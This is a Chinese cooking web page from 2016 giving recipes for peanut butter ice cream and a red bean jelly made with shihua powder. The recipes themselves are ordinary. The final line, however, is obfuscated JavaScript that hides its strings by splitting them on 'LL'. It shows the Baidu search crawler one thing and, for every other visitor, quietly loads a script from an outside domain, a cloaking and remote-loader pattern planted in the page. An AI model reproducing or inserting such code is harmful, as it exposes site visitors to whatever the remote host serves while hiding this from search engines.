當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

炎熱夏季來學做幾款冰飲吧!

2016-08-20 10:07:19  來源:360常識網(wǎng)   熱度:
導語:小豆浸泡后再煮更省火省時;石花粉是一種植物石花籽磨成的,有凝固的作用,好多地方也叫冰粉;石花粉具有清熱降暑的功效,夏天吃最好了。石花粉在大超市都能買到。

炎熱夏季來學做幾款冰飲吧!

炎熱夏季來學做幾款冰飲吧!

炎熱夏季來學做幾款冰飲吧!

花生醬冰淇淋的做法

主料:淡奶油200克、牛奶150克、糖50克、花生醬100克。

做法:

1、把淡奶油、牛奶倒入厚底小奶鍋中,加入糖,煮至剛剛沸騰后關火。

2、把煮好的奶油分次一點點加入花生醬中,每次都混合均勻后再加入,這樣花生醬不會有結(jié)塊。

3、把花生牛奶糊放進保鮮盒冷凍左右至半凝固(約需兩小時左右),用叉子把冰激凌刮松散,再冷凍至完全凝固即可。

小貼士

花生醬可以到超市購買現(xiàn)成的,也可以用料理機自制?;ㄉ聪愫笥昧侠頇C打成花生碎,加糖粉和少量油繼續(xù)打成細膩的泥狀就可以了。如果做有顆粒的,留一小部分粗花生碎最后放入,少許打一會就行。

花生醬的狀態(tài)有點像芝麻醬,得用水一點點加入攪拌澥開,否則很難和奶油和蛋奶醬混合。

小豆涼粉的做法

主料:紅豆、石花粉、椰奶、煉乳、糖等。

制做方法:

1、紅豆清洗一下,放清水里浸泡半天,撈出后沖洗幾遍放進鍋里,大火燒開轉(zhuǎn)小火,慢慢煮,中途往里面加幾次涼水,這樣煮好的豆子比較完整,不容易破,煮到豆子快好的時候關火,蓋著蓋子燜一會。

2、煮好的豆子撈出來加一大勺糖拌勻,紅豆湯留下,加入兩大勺砂糖接著加熱,半碗涼水溶解適量石花粉,倒入滾開的紅豆湯里攪拌均勻,關火。等涼透凝固后,放冰箱里保存。

3、以同樣的方法,用滾水溶解適量煉乳和白糖,加入石花粉漿攪拌,涼后凝固放冰箱保存。

4、做好的雙色涼粉切成小塊,加入冰鎮(zhèn)的椰奶和煉乳,澆上紅豆即成。

小貼士

小豆浸泡后再煮更省火省時;石花粉是一種植物石花籽磨成的,有凝固的作用,好多地方也叫冰粉;石花粉具有清熱降暑的功效,夏天吃最好了。石花粉在大超市都能買到。

石花粉用的時候要先用適量涼水溶解,這樣做出的涼粉才均勻,它的用量要合適,太少了不成形,太多了口感不好。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}